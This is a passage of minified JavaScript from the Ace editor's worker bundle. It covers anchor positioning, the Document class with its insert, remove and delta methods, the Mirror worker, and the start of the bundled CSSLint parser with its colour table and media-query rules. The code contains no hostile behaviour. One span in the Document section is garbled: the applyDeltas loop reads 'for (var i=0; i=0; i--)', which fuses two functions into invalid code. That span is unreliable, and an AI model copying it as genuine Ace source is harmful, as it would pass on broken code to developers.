delta.end; // Collapse insert range. if ($pointsInOrder(point, deltaStart, moveIfEqual)) { return { row: point.row, column: point.column }; } if ($pointsInOrder(deltaEnd, point, !moveIfEqual)) { return { row: point.row + deltaRowShift, column: point.column + (point.row == deltaEnd.row ? deltaColShift : 0) }; } return { row: deltaStart.row, column: deltaStart.column }; } this.setPosition = function(row, column, noClip) { var pos; if (noClip) { pos = { row: row, column: column }; } else { pos = this.$clipPositionToDocument(row, column); } if (this.row == pos.row && this.column == pos.column) return; var old = { row: this.row, column: this.column }; this.row = pos.row; this.column = pos.column; this._signal("change", { old: old, value: pos }); }; this.detach = function() { this.document.removeEventListener("change", this.$onChange); }; this.attach = function(doc) { this.document = doc || this.document; this.document.on("change", this.$onChange); }; this.$clipPositionToDocument = function(row, column) { var pos = {}; if (row >= this.document.getLength()) { pos.row = Math.max(0, this.document.getLength() - 1); pos.column = this.document.getLine(pos.row).length; } else if (row < 0) { pos.row = 0; pos.column = 0; } else { pos.row = row; pos.column = Math.min(this.document.getLine(pos.row).length, Math.max(0, column)); } if (column < 0) pos.column = 0; return pos; }; }).call(Anchor.prototype); }); ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var applyDelta = require("./apply_delta").applyDelta; var EventEmitter = require("./lib/event_emitter").EventEmitter; var Range = require("./range").Range; var Anchor = require("./anchor").Anchor; var Document = function(textOrLines) { this.$lines = [""]; if (textOrLines.length === 0) { this.$lines = [""]; } else if (Array.isArray(textOrLines)) { this.insertMergedLines({row: 0, column: 0}, textOrLines); } else { this.insert({row: 0, column:0}, textOrLines); } }; (function() { oop.implement(this, EventEmitter); this.setValue = function(text) { var len = this.getLength() - 1; this.remove(new Range(0, 0, len, this.getLine(len).length)); this.insert({row: 0, column: 0}, text); }; this.getValue = function() { return this.getAllLines().join(this.getNewLineCharacter()); }; this.createAnchor = function(row, column) { return new Anchor(this, row, column); }; if ("aaa".split(/a/).length === 0) { this.$split = function(text) { return text.replace(/\r\n|\r/g, "\n").split("\n"); }; } else { this.$split = function(text) { return text.split(/\r\n|\r|\n/); }; } this.$detectNewLine = function(text) { var match = text.match(/^.*?(\r\n|\r|\n)/m); this.$autoNewLine = match ? match[1] : "\n"; this._signal("changeNewLineMode"); }; this.getNewLineCharacter = function() { switch (this.$newLineMode) { case "windows": return "\r\n"; case "unix": return "\n"; default: return this.$autoNewLine || "\n"; } }; this.$autoNewLine = ""; this.$newLineMode = "auto"; this.setNewLineMode = function(newLineMode) { if (this.$newLineMode === newLineMode) return; this.$newLineMode = newLineMode; this._signal("changeNewLineMode"); }; this.getNewLineMode = function() { return this.$newLineMode; }; this.isNewLine = function(text) { return (text == "\r\n" || text == "\r" || text == "\n"); }; this.getLine = function(row) { return this.$lines[row] || ""; }; this.getLines = function(firstRow, lastRow) { return this.$lines.slice(firstRow, lastRow + 1); }; this.getAllLines = function() { return this.getLines(0, this.getLength()); }; this.getLength = function() { return this.$lines.length; }; this.getTextRange = function(range) { return this.getLinesForRange(range).join(this.getNewLineCharacter()); }; this.getLinesForRange = function(range) { var lines; if (range.start.row === range.end.row) { lines = [this.getLine(range.start.row).substring(range.start.column, range.end.column)]; } else { lines = this.getLines(range.start.row, range.end.row); lines[0] = (lines[0] || "").substring(range.start.column); var l = lines.length - 1; if (range.end.row - range.start.row == l) lines[l] = lines[l].substring(0, range.end.column); } return lines; }; this.insertLines = function(row, lines) { console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."); return this.insertFullLines(row, lines); }; this.removeLines = function(firstRow, lastRow) { console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."); return this.removeFullLines(firstRow, lastRow); }; this.insertNewLine = function(position) { console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, [\'\', \'\']) instead."); return this.insertMergedLines(position, ["", ""]); }; this.insert = function(position, text) { if (this.getLength() <= 1) this.$detectNewLine(text); return this.insertMergedLines(position, this.$split(text)); }; this.insertInLine = function(position, text) { var start = this.clippedPos(position.row, position.column); var end = this.pos(position.row, position.column + text.length); this.applyDelta({ start: start, end: end, action: "insert", lines: [text] }, true); return this.clonePos(end); }; this.clippedPos = function(row, column) { var length = this.getLength(); if (row === undefined) { row = length; } else if (row < 0) { row = 0; } else if (row >= length) { row = length - 1; column = undefined; } var line = this.getLine(row); if (column == undefined) column = line.length; column = Math.min(Math.max(column, 0), line.length); return {row: row, column: column}; }; this.clonePos = function(pos) { return {row: pos.row, column: pos.column}; }; this.pos = function(row, column) { return {row: row, column: column}; }; this.$clipPosition = function(position) { var length = this.getLength(); if (position.row >= length) { position.row = Math.max(0, length - 1); position.column = this.getLine(length - 1).length; } else { position.row = Math.max(0, position.row); position.column = Math.min(Math.max(position.column, 0), this.getLine(position.row).length); } return position; }; this.insertFullLines = function(row, lines) { row = Math.min(Math.max(row, 0), this.getLength()); var column = 0; if (row < this.getLength()) { lines = lines.concat([""]); column = 0; } else { lines = [""].concat(lines); row--; column = this.$lines[row].length; } this.insertMergedLines({row: row, column: column}, lines); }; this.insertMergedLines = function(position, lines) { var start = this.clippedPos(position.row, position.column); var end = { row: start.row + lines.length - 1, column: (lines.length == 1 ? start.column : 0) + lines[lines.length - 1].length }; this.applyDelta({ start: start, end: end, action: "insert", lines: lines }); return this.clonePos(end); }; this.remove = function(range) { var start = this.clippedPos(range.start.row, range.start.column); var end = this.clippedPos(range.end.row, range.end.column); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }); return this.clonePos(start); }; this.removeInLine = function(row, startColumn, endColumn) { var start = this.clippedPos(row, startColumn); var end = this.clippedPos(row, endColumn); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }, true); return this.clonePos(start); }; this.removeFullLines = function(firstRow, lastRow) { firstRow = Math.min(Math.max(0, firstRow), this.getLength() - 1); lastRow = Math.min(Math.max(0, lastRow ), this.getLength() - 1); var deleteFirstNewLine = lastRow == this.getLength() - 1 && firstRow > 0; var deleteLastNewLine = lastRow < this.getLength() - 1; var startRow = ( deleteFirstNewLine ? firstRow - 1 : firstRow ); var startCol = ( deleteFirstNewLine ? this.getLine(startRow).length : 0 ); var endRow = ( deleteLastNewLine ? lastRow + 1 : lastRow ); var endCol = ( deleteLastNewLine ? 0 : this.getLine(endRow).length ); var range = new Range(startRow, startCol, endRow, endCol); var deletedLines = this.$lines.slice(firstRow, lastRow + 1); this.applyDelta({ start: range.start, end: range.end, action: "remove", lines: this.getLinesForRange(range) }); return deletedLines; }; this.removeNewLine = function(row) { if (row < this.getLength() - 1 && row >= 0) { this.applyDelta({ start: this.pos(row, this.getLine(row).length), end: this.pos(row + 1, 0), action: "remove", lines: ["", ""] }); } }; this.replace = function(range, text) { if (!(range instanceof Range)) range = Range.fromPoints(range.start, range.end); if (text.length === 0 && range.isEmpty()) return range.start; if (text == this.getTextRange(range)) return range.end; this.remove(range); var end; if (text) { end = this.insert(range.start, text); } else { end = range.start; } return end; }; this.applyDeltas = function(deltas) { for (var i=0; i=0; i--) { this.revertDelta(deltas[i]); } }; this.applyDelta = function(delta, doNotValidate) { var isInsert = delta.action == "insert"; if (isInsert ? delta.lines.length <= 1 && !delta.lines[0] : !Range.comparePoints(delta.start, delta.end)) { return; } if (isInsert && delta.lines.length > 20000) this.$splitAndapplyLargeDelta(delta, 20000); applyDelta(this.$lines, delta, doNotValidate); this._signal("change", delta); }; this.$splitAndapplyLargeDelta = function(delta, MAX) { var lines = delta.lines; var l = lines.length; var row = delta.start.row; var column = delta.start.column; var from = 0, to = 0; do { from = to; to += MAX - 1; var chunk = lines.slice(from, to); if (to > l) { delta.lines = chunk; delta.start.row = row + from; delta.start.column = column; break; } chunk.push(""); this.applyDelta({ start: this.pos(row + from, column), end: this.pos(row + to, column = 0), action: delta.action, lines: chunk }, true); } while(true); }; this.revertDelta = function(delta) { this.applyDelta({ start: this.clonePos(delta.start), end: this.clonePos(delta.end), action: (delta.action == "insert" ? "remove" : "insert"), lines: delta.lines.slice() }); }; this.indexToPosition = function(index, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; for (var i = startRow || 0, l = lines.length; i < l; i++) { index -= lines[i].length + newlineLength; if (index < 0) return {row: i, column: index + lines[i].length + newlineLength}; } return {row: l-1, column: lines[l-1].length}; }; this.positionToIndex = function(pos, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; var index = 0; var row = Math.min(pos.row, lines.length); for (var i = startRow || 0; i < row; ++i) index += lines[i].length + newlineLength; return index + pos.column; }; }).call(Document.prototype); exports.Document = Document; }); ace.define("ace/worker/mirror",["require","exports","module","ace/range","ace/document","ace/lib/lang"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var Document = require("../document").Document; var lang = require("../lib/lang"); var Mirror = exports.Mirror = function(sender) { this.sender = sender; var doc = this.doc = new Document(""); var deferredUpdate = this.deferredUpdate = lang.delayedCall(this.onUpdate.bind(this)); var _self = this; sender.on("change", function(e) { var data = e.data; if (data[0].start) { doc.applyDeltas(data); } else { for (var i = 0; i < data.length; i += 2) { if (Array.isArray(data[i+1])) { var d = {action: "insert", start: data[i], lines: data[i+1]}; } else { var d = {action: "remove", start: data[i], end: data[i+1]}; } doc.applyDelta(d, true); } } if (_self.$timeout) return deferredUpdate.schedule(_self.$timeout); _self.onUpdate(); }); }; (function() { this.$timeout = 500; this.setTimeout = function(timeout) { this.$timeout = timeout; }; this.setValue = function(value) { this.doc.setValue(value); this.deferredUpdate.schedule(this.$timeout); }; this.getValue = function(callbackId) { this.sender.callback(this.doc.getValue(), callbackId); }; this.onUpdate = function() { }; this.isPending = function() { return this.deferredUpdate.isPending(); }; }).call(Mirror.prototype); }); ace.define("ace/mode/css/csslint",["require","exports","module"], function(require, exports, module) { var parserlib = {}; (function(){ function EventTarget(){ this._listeners = {}; } EventTarget.prototype = { constructor: EventTarget, addListener: function(type, listener){ if (!this._listeners[type]){ this._listeners[type] = []; } this._listeners[type].push(listener); }, fire: function(event){ if (typeof event == "string"){ event = { type: event }; } if (typeof event.target != "undefined"){ event.target = this; } if (typeof event.type == "undefined"){ throw new Error("Event object missing 'type' property."); } if (this._listeners[event.type]){ var listeners = this._listeners[event.type].concat(); for (var i=0, len=listeners.length; i < len; i++){ listeners[i].call(this, event); } } }, removeListener: function(type, listener){ if (this._listeners[type]){ var listeners = this._listeners[type]; for (var i=0, len=listeners.length; i < len; i++){ if (listeners[i] === listener){ listeners.splice(i, 1); break; } } } } }; function StringReader(text){ this._input = text.replace(/\n\r?/g, "\n"); this._line = 1; this._col = 1; this._cursor = 0; } StringReader.prototype = { constructor: StringReader, getCol: function(){ return this._col; }, getLine: function(){ return this._line ; }, eof: function(){ return (this._cursor == this._input.length); }, peek: function(count){ var c = null; count = (typeof count == "undefined" ? 1 : count); if (this._cursor < this._input.length){ c = this._input.charAt(this._cursor + count - 1); } return c; }, read: function(){ var c = null; if (this._cursor < this._input.length){ if (this._input.charAt(this._cursor) == "\n"){ this._line++; this._col=1; } else { this._col++; } c = this._input.charAt(this._cursor++); } return c; }, mark: function(){ this._bookmark = { cursor: this._cursor, line: this._line, col: this._col }; }, reset: function(){ if (this._bookmark){ this._cursor = this._bookmark.cursor; this._line = this._bookmark.line; this._col = this._bookmark.col; delete this._bookmark; } }, readTo: function(pattern){ var buffer = "", c; while (buffer.length < pattern.length || buffer.lastIndexOf(pattern) != buffer.length - pattern.length){ c = this.read(); if (c){ buffer += c; } else { throw new Error("Expected \"" + pattern + "\" at line " + this._line + ", col " + this._col + "."); } } return buffer; }, readWhile: function(filter){ var buffer = "", c = this.read(); while(c !== null && filter(c)){ buffer += c; c = this.read(); } return buffer; }, readMatch: function(matcher){ var source = this._input.substring(this._cursor), value = null; if (typeof matcher == "string"){ if (source.indexOf(matcher) === 0){ value = this.readCount(matcher.length); } } else if (matcher instanceof RegExp){ if (matcher.test(source)){ value = this.readCount(RegExp.lastMatch.length); } } return value; }, readCount: function(count){ var buffer = ""; while(count--){ buffer += this.read(); } return buffer; } }; function SyntaxError(message, line, col){ this.col = col; this.line = line; this.message = message; } SyntaxError.prototype = new Error(); function SyntaxUnit(text, line, col, type){ this.col = col; this.line = line; this.text = text; this.type = type; } SyntaxUnit.fromToken = function(token){ return new SyntaxUnit(token.value, token.startLine, token.startCol); }; SyntaxUnit.prototype = { constructor: SyntaxUnit, valueOf: function(){ return this.text; }, toString: function(){ return this.text; } }; function TokenStreamBase(input, tokenData){ this._reader = input ? new StringReader(input.toString()) : null; this._token = null; this._tokenData = tokenData; this._lt = []; this._ltIndex = 0; this._ltIndexCache = []; } TokenStreamBase.createTokenData = function(tokens){ var nameMap = [], typeMap = {}, tokenData = tokens.concat([]), i = 0, len = tokenData.length+1; tokenData.UNKNOWN = -1; tokenData.unshift({name:"EOF"}); for (; i < len; i++){ nameMap.push(tokenData[i].name); tokenData[tokenData[i].name] = i; if (tokenData[i].text){ typeMap[tokenData[i].text] = i; } } tokenData.name = function(tt){ return nameMap[tt]; }; tokenData.type = function(c){ return typeMap[c]; }; return tokenData; }; TokenStreamBase.prototype = { constructor: TokenStreamBase, match: function(tokenTypes, channel){ if (!(tokenTypes instanceof Array)){ tokenTypes = [tokenTypes]; } var tt = this.get(channel), i = 0, len = tokenTypes.length; while(i < len){ if (tt == tokenTypes[i++]){ return true; } } this.unget(); return false; }, mustMatch: function(tokenTypes, channel){ var token; if (!(tokenTypes instanceof Array)){ tokenTypes = [tokenTypes]; } if (!this.match.apply(this, arguments)){ token = this.LT(1); throw new SyntaxError("Expected " + this._tokenData[tokenTypes[0]].name + " at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol); } }, advance: function(tokenTypes, channel){ while(this.LA(0) !== 0 && !this.match(tokenTypes, channel)){ this.get(); } return this.LA(0); }, get: function(channel){ var tokenInfo = this._tokenData, reader = this._reader, value, i =0, len = tokenInfo.length, found = false, token, info; if (this._lt.length && this._ltIndex >= 0 && this._ltIndex < this._lt.length){ i++; this._token = this._lt[this._ltIndex++]; info = tokenInfo[this._token.type]; while((info.channel !== undefined && channel !== info.channel) && this._ltIndex < this._lt.length){ this._token = this._lt[this._ltIndex++]; info = tokenInfo[this._token.type]; i++; } if ((info.channel === undefined || channel === info.channel) && this._ltIndex <= this._lt.length){ this._ltIndexCache.push(i); return this._token.type; } } token = this._getToken(); if (token.type > -1 && !tokenInfo[token.type].hide){ token.channel = tokenInfo[token.type].channel; this._token = token; this._lt.push(token); this._ltIndexCache.push(this._lt.length - this._ltIndex + i); if (this._lt.length > 5){ this._lt.shift(); } if (this._ltIndexCache.length > 5){ this._ltIndexCache.shift(); } this._ltIndex = this._lt.length; } info = tokenInfo[token.type]; if (info && (info.hide || (info.channel !== undefined && channel !== info.channel))){ return this.get(channel); } else { return token.type; } }, LA: function(index){ var total = index, tt; if (index > 0){ if (index > 5){ throw new Error("Too much lookahead."); } while(total){ tt = this.get(); total--; } while(total < index){ this.unget(); total++; } } else if (index < 0){ if(this._lt[this._ltIndex+index]){ tt = this._lt[this._ltIndex+index].type; } else { throw new Error("Too much lookbehind."); } } else { tt = this._token.type; } return tt; }, LT: function(index){ this.LA(index); return this._lt[this._ltIndex+index-1]; }, peek: function(){ return this.LA(1); }, token: function(){ return this._token; }, tokenName: function(tokenType){ if (tokenType < 0 || tokenType > this._tokenData.length){ return "UNKNOWN_TOKEN"; } else { return this._tokenData[tokenType].name; } }, tokenType: function(tokenName){ return this._tokenData[tokenName] || -1; }, unget: function(){ if (this._ltIndexCache.length){ this._ltIndex -= this._ltIndexCache.pop();//--; this._token = this._lt[this._ltIndex - 1]; } else { throw new Error("Too much lookahead."); } } }; parserlib.util = { StringReader: StringReader, SyntaxError : SyntaxError, SyntaxUnit : SyntaxUnit, EventTarget : EventTarget, TokenStreamBase : TokenStreamBase }; })(); (function(){ var EventTarget = parserlib.util.EventTarget, TokenStreamBase = parserlib.util.TokenStreamBase, StringReader = parserlib.util.StringReader, SyntaxError = parserlib.util.SyntaxError, SyntaxUnit = parserlib.util.SyntaxUnit; var Colors = { aliceblue :"#f0f8ff", antiquewhite :"#faebd7", aqua :"#00ffff", aquamarine :"#7fffd4", azure :"#f0ffff", beige :"#f5f5dc", bisque :"#ffe4c4", black :"#000000", blanchedalmond :"#ffebcd", blue :"#0000ff", blueviolet :"#8a2be2", brown :"#a52a2a", burlywood :"#deb887", cadetblue :"#5f9ea0", chartreuse :"#7fff00", chocolate :"#d2691e", coral :"#ff7f50", cornflowerblue :"#6495ed", cornsilk :"#fff8dc", crimson :"#dc143c", cyan :"#00ffff", darkblue :"#00008b", darkcyan :"#008b8b", darkgoldenrod :"#b8860b", darkgray :"#a9a9a9", darkgrey :"#a9a9a9", darkgreen :"#006400", darkkhaki :"#bdb76b", darkmagenta :"#8b008b", darkolivegreen :"#556b2f", darkorange :"#ff8c00", darkorchid :"#9932cc", darkred :"#8b0000", darksalmon :"#e9967a", darkseagreen :"#8fbc8f", darkslateblue :"#483d8b", darkslategray :"#2f4f4f", darkslategrey :"#2f4f4f", darkturquoise :"#00ced1", darkviolet :"#9400d3", deeppink :"#ff1493", deepskyblue :"#00bfff", dimgray :"#696969", dimgrey :"#696969", dodgerblue :"#1e90ff", firebrick :"#b22222", floralwhite :"#fffaf0", forestgreen :"#228b22", fuchsia :"#ff00ff", gainsboro :"#dcdcdc", ghostwhite :"#f8f8ff", gold :"#ffd700", goldenrod :"#daa520", gray :"#808080", grey :"#808080", green :"#008000", greenyellow :"#adff2f", honeydew :"#f0fff0", hotpink :"#ff69b4", indianred :"#cd5c5c", indigo :"#4b0082", ivory :"#fffff0", khaki :"#f0e68c", lavender :"#e6e6fa", lavenderblush :"#fff0f5", lawngreen :"#7cfc00", lemonchiffon :"#fffacd", lightblue :"#add8e6", lightcoral :"#f08080", lightcyan :"#e0ffff", lightgoldenrodyellow :"#fafad2", lightgray :"#d3d3d3", lightgrey :"#d3d3d3", lightgreen :"#90ee90", lightpink :"#ffb6c1", lightsalmon :"#ffa07a", lightseagreen :"#20b2aa", lightskyblue :"#87cefa", lightslategray :"#778899", lightslategrey :"#778899", lightsteelblue :"#b0c4de", lightyellow :"#ffffe0", lime :"#00ff00", limegreen :"#32cd32", linen :"#faf0e6", magenta :"#ff00ff", maroon :"#800000", mediumaquamarine:"#66cdaa", mediumblue :"#0000cd", mediumorchid :"#ba55d3", mediumpurple :"#9370d8", mediumseagreen :"#3cb371", mediumslateblue :"#7b68ee", mediumspringgreen :"#00fa9a", mediumturquoise :"#48d1cc", mediumvioletred :"#c71585", midnightblue :"#191970", mintcream :"#f5fffa", mistyrose :"#ffe4e1", moccasin :"#ffe4b5", navajowhite :"#ffdead", navy :"#000080", oldlace :"#fdf5e6", olive :"#808000", olivedrab :"#6b8e23", orange :"#ffa500", orangered :"#ff4500", orchid :"#da70d6", palegoldenrod :"#eee8aa", palegreen :"#98fb98", paleturquoise :"#afeeee", palevioletred :"#d87093", papayawhip :"#ffefd5", peachpuff :"#ffdab9", peru :"#cd853f", pink :"#ffc0cb", plum :"#dda0dd", powderblue :"#b0e0e6", purple :"#800080", red :"#ff0000", rosybrown :"#bc8f8f", royalblue :"#4169e1", saddlebrown :"#8b4513", salmon :"#fa8072", sandybrown :"#f4a460", seagreen :"#2e8b57", seashell :"#fff5ee", sienna :"#a0522d", silver :"#c0c0c0", skyblue :"#87ceeb", slateblue :"#6a5acd", slategray :"#708090", slategrey :"#708090", snow :"#fffafa", springgreen :"#00ff7f", steelblue :"#4682b4", tan :"#d2b48c", teal :"#008080", thistle :"#d8bfd8", tomato :"#ff6347", turquoise :"#40e0d0", violet :"#ee82ee", wheat :"#f5deb3", white :"#ffffff", whitesmoke :"#f5f5f5", yellow :"#ffff00", yellowgreen :"#9acd32", activeBorder :"Active window border.", activecaption :"Active window caption.", appworkspace :"Background color of multiple document interface.", background :"Desktop background.", buttonface :"The face background color for 3-D elements that appear 3-D due to one layer of surrounding border.", buttonhighlight :"The color of the border facing the light source for 3-D elements that appear 3-D due to one layer of surrounding border.", buttonshadow :"The color of the border away from the light source for 3-D elements that appear 3-D due to one layer of surrounding border.", buttontext :"Text on push buttons.", captiontext :"Text in caption, size box, and scrollbar arrow box.", graytext :"Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.", greytext :"Greyed (disabled) text. This color is set to #000 if the current display driver does not support a solid grey color.", highlight :"Item(s) selected in a control.", highlighttext :"Text of item(s) selected in a control.", inactiveborder :"Inactive window border.", inactivecaption :"Inactive window caption.", inactivecaptiontext :"Color of text in an inactive caption.", infobackground :"Background color for tooltip controls.", infotext :"Text color for tooltip controls.", menu :"Menu background.", menutext :"Text in menus.", scrollbar :"Scroll bar gray area.", threeddarkshadow :"The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.", threedface :"The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border.", threedhighlight :"The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.", threedlightshadow :"The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.", threedshadow :"The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.", window :"Window background.", windowframe :"Window frame.", windowtext :"Text in windows." }; function Combinator(text, line, col){ SyntaxUnit.call(this, text, line, col, Parser.COMBINATOR_TYPE); this.type = "unknown"; if (/^\s+$/.test(text)){ this.type = "descendant"; } else if (text == ">"){ this.type = "child"; } else if (text == "+"){ this.type = "adjacent-sibling"; } else if (text == "~"){ this.type = "sibling"; } } Combinator.prototype = new SyntaxUnit(); Combinator.prototype.constructor = Combinator; function MediaFeature(name, value){ SyntaxUnit.call(this, "(" + name + (value !== null ? ":" + value : "") + ")", name.startLine, name.startCol, Parser.MEDIA_FEATURE_TYPE); this.name = name; this.value = value; } MediaFeature.prototype = new SyntaxUnit(); MediaFeature.prototype.constructor = MediaFeature; function MediaQuery(modifier, mediaType, features, line, col){ SyntaxUnit.call(this, (modifier ? modifier + " ": "") + (mediaType ? mediaType : "") + (mediaType && features.length > 0 ? " and " : "") + features.join(" and "), line, col, Parser.MEDIA_QUERY_TYPE); this.modifier = modifier; this.mediaType = mediaType; this.features = features; } MediaQuery.prototype = new SyntaxUnit(); MediaQuery.prototype.constructor = MediaQuery; function Parser(options){ EventTarget.call(this); this.options = options || {}; this._tokenStream = null; } Parser.DEFAULT_TYPE = 0; Parser.COMBINATOR_TYPE = 1; Parser.MEDIA_FEATURE_TYPE = 2; Parser.MEDIA_QUERY_TYPE = 3; Parser.PROPERTY_NAME_TYPE = 4; Parser.PROPERTY_VALUE_TYPE = 5; Parser.PROPERTY_VALUE_PART_TYPE = 6; Parser.SELECTOR_TYPE = 7; Parser.SELECTOR_PART_TYPE = 8; Parser.SELECTOR_SUB_PART_TYPE = 9; Parser.prototype = function(){ var proto = new EventTarget(), //new prototype prop, additions = { constructor: Parser, DEFAULT_TYPE : 0, COMBINATOR_TYPE : 1, MEDIA_FEATURE_TYPE : 2, MEDIA_QUERY_TYPE : 3, PROPERTY_NAME_TYPE : 4, PROPERTY_VALUE_TYPE : 5, PROPERTY_VALUE_PART_TYPE : 6, SELECTOR_TYPE : 7, SELECTOR_PART_TYPE : 8, SELECTOR_SUB_PART_TYPE : 9, _stylesheet: function(){ var tokenStream = this._tokenStream, charset = null, count, token, tt; this.fire("startstylesheet"); this._charset(); this._skipCruft(); while (tokenStream.peek() == Tokens.IMPORT_SYM){ this._import(); this._skipCruft(); } while (tokenStream.peek() == Tokens.NAMESPACE_SYM){ this._namespace(); this._skipCruft(); } tt = tokenStream.peek(); while(tt > Tokens.EOF){ try { switch(tt){ case Tokens.MEDIA_SYM: this._media(); this._skipCruft(); break; case Tokens.PAGE_SYM: this._page(); this._skipCruft(); break; case Tokens.FONT_FACE_SYM: this._font_face(); this._skipCruft(); break; case Tokens.KEYFRAMES_SYM: this._keyframes(); this._skipCruft(); break; case Tokens.VIEWPORT_SYM: this._viewport(); this._skipCruft(); break; case Tokens.UNKNOWN_SYM: //unknown @ rule tokenStream.get(); if (!this.options.strict){ this.fire({ type: "error", error: null, message: "Unknown @ rule: " + tokenStream.LT(0).value + ".", line: tokenStream.LT(0).startLine, col: tokenStream.LT(0).startCol }); count=0; while (tokenStream.advance([Tokens.LBRACE, Tokens.RBRACE]) == Tokens.LBRACE){ count++; //keep track of nesting depth } while(count){ tokenStream.advance([Tokens.RBRACE]); count--; } } else { throw new SyntaxError("Unknown @ rule.", tokenStream.LT(0).startLine, tokenStream.LT(0).startCol); } break; case Tokens.S: this._readWhitespace(); break; default: if(!this._ruleset()){ switch(tt){ case Tokens.CHARSET_SYM: token = tokenStream.LT(1); this._charset(false); throw new SyntaxError("@charset not allowed here.", token.startLine, token.startCol); case Tokens.IMPORT_SYM: token = tokenStream.LT(1); this._import(false); throw new SyntaxError("@import not allowed here.", token.startLine, token.startCol); case Tokens.NAMESPACE_SYM: token = tokenStream.LT(1); this._namespace(false); throw new SyntaxError("@namespace not allowed here.", token.startLine, token.startCol); default: tokenStream.get(); //get the last token this._unexpectedToken(tokenStream.token()); } } } } catch(ex) { if (ex instanceof SyntaxError && !this.options.strict){ this.fire({ type: "error", error: ex, message: ex.message, line: ex.line, col: ex.col }); } else { throw ex; } } tt = tokenStream.peek(); } if (tt != Tokens.EOF){ this._unexpectedToken(tokenStream.token()); } this.fire("endstylesheet"); }, _charset: function(emit){ var tokenStream = this._tokenStream, charset, token, line, col; if (tokenStream.match(Tokens.CHARSET_SYM)){ line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); tokenStream.mustMatch(Tokens.STRING); token = tokenStream.token(); charset = token.value; this._readWhitespace(); tokenStream.mustMatch(Tokens.SEMICOLON); if (emit !== false){ this.fire({ type: "charset", charset:charset, line: line, col: col }); } } }, _import: function(emit){ var tokenStream = this._tokenStream, tt, uri, importToken, mediaList = []; tokenStream.mustMatch(Tokens.IMPORT_SYM); importToken = tokenStream.token(); this._readWhitespace(); tokenStream.mustMatch([Tokens.STRING, Tokens.URI]); uri = tokenStream.token().value.replace(/^(?:url\()?["']?([^"']+?)["']?\)?$/, "$1"); this._readWhitespace(); mediaList = this._media_query_list(); tokenStream.mustMatch(Tokens.SEMICOLON); this._readWhitespace(); if (emit !== false){ this.fire({ type: "import", uri: uri, media: mediaList, line: importToken.startLine, col: importToken.startCol }); } }, _namespace: function(emit){ var tokenStream = this._tokenStream, line, col, prefix, uri; tokenStream.mustMatch(Tokens.NAMESPACE_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); if (tokenStream.match(Tokens.IDENT)){ prefix = tokenStream.token().value; this._readWhitespace(); } tokenStream.mustMatch([Tokens.STRING, Tokens.URI]); uri = tokenStream.token().value.replace(/(?:url\()?["']([^"']+)["']\)?/, "$1"); this._readWhitespace(); tokenStream.mustMatch(Tokens.SEMICOLON); this._readWhitespace(); if (emit !== false){ this.fire({ type: "namespace", prefix: prefix, uri: uri, line: line, col: col }); } }, _media: function(){ var tokenStream = this._tokenStream, line, col, mediaList;// = []; tokenStream.mustMatch(Tokens.MEDIA_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); mediaList = this._media_query_list(); tokenStream.mustMatch(Tokens.LBRACE); this._readWhitespace(); this.fire({ type: "startmedia", media: mediaList, line: line, col: col }); while(true) { if (tokenStream.peek() == Tokens.PAGE_SYM){ this._page(); } else if (tokenStream.peek() == Tokens.FONT_FACE_SYM){ this._font_face(); } else if (tokenStream.peek() == Tokens.VIEWPORT_SYM){ this._viewport(); } else if (!this._ruleset()){ break; } } tokenStream.mustMatch(Tokens.RBRACE); this._readWhitespace(); this.fire({ type: "endmedia", media: mediaList, line: line, col: col }); }, _media_query_list: function(){ var tokenStream = this._tokenStream, mediaList = []; this._readWhitespace(); if (tokenStream.peek() == Tokens.IDENT || tokenStream.peek() == Tokens.LPAREN){ mediaList.push(this._media_query()); } while(tokenStream.match(Tokens.COMMA)){ this._readWhitespace(); mediaList.push(this._media_query()); } return mediaList; }, _media_query: function(){ var tokenStream = this._tokenStream, type = null, ident = null, token = null, expressions = []; if (tokenStream.match(Tokens.IDENT)){ ident = tokenStream.token().value.toLowerCase(); if (ident != "only" && ident != "not"){ tokenStream.unget(); ident = null; } else { token = tokenStream.token(); } } this._readWhitespace(); if (tokenStream.peek() == Tokens.IDENT){ type = this._media_type(); if (token === null){ token = tokenStream.token(); } } else if (tokenStream.peek() == Tokens.LPAREN){ if (token === null){ token = tokenStream.LT(1); } expressions.push(this._media_expression()); } if (type === null && expressions.length === 0){ return null; } else { this._readWhitespace(); while (tokenStream.match(Tokens.IDENT)){ if (tokenStream.token().value.toLowerCase() != "and"){ this._unexpectedToken(tokenStream.token()); } this._readWhitespace(); expressions.push(this._media_expression()); } } return new MediaQuery(ident, type, expressions, token.startLine, token.startCol); }, _media_type: function(){ return this._media_feature(); }, _media_expression: function(){ var tokenStream = this._tokenStream, feature = null, token, expression = null; tokenStream.mustMatch(Tokens.LPAREN); feature = this._media_feature(); this._readWhitespace(); if (tokenStream.match(Tokens.COLON)){ this._readWhitespace(); token = tokenStream.LT(1); expression = this._expression(); } tokenStream.mustMatch(Tokens.RPAREN); this._readWhitespace(); return new MediaFeature(feature, (expression ? new SyntaxUnit(expression, token.startLine, token.startCol) : null)); }, _media_feature: function(){ var tokenStream = this._tokenStream; tokenStream.mustMatch(Tokens.IDENT); return 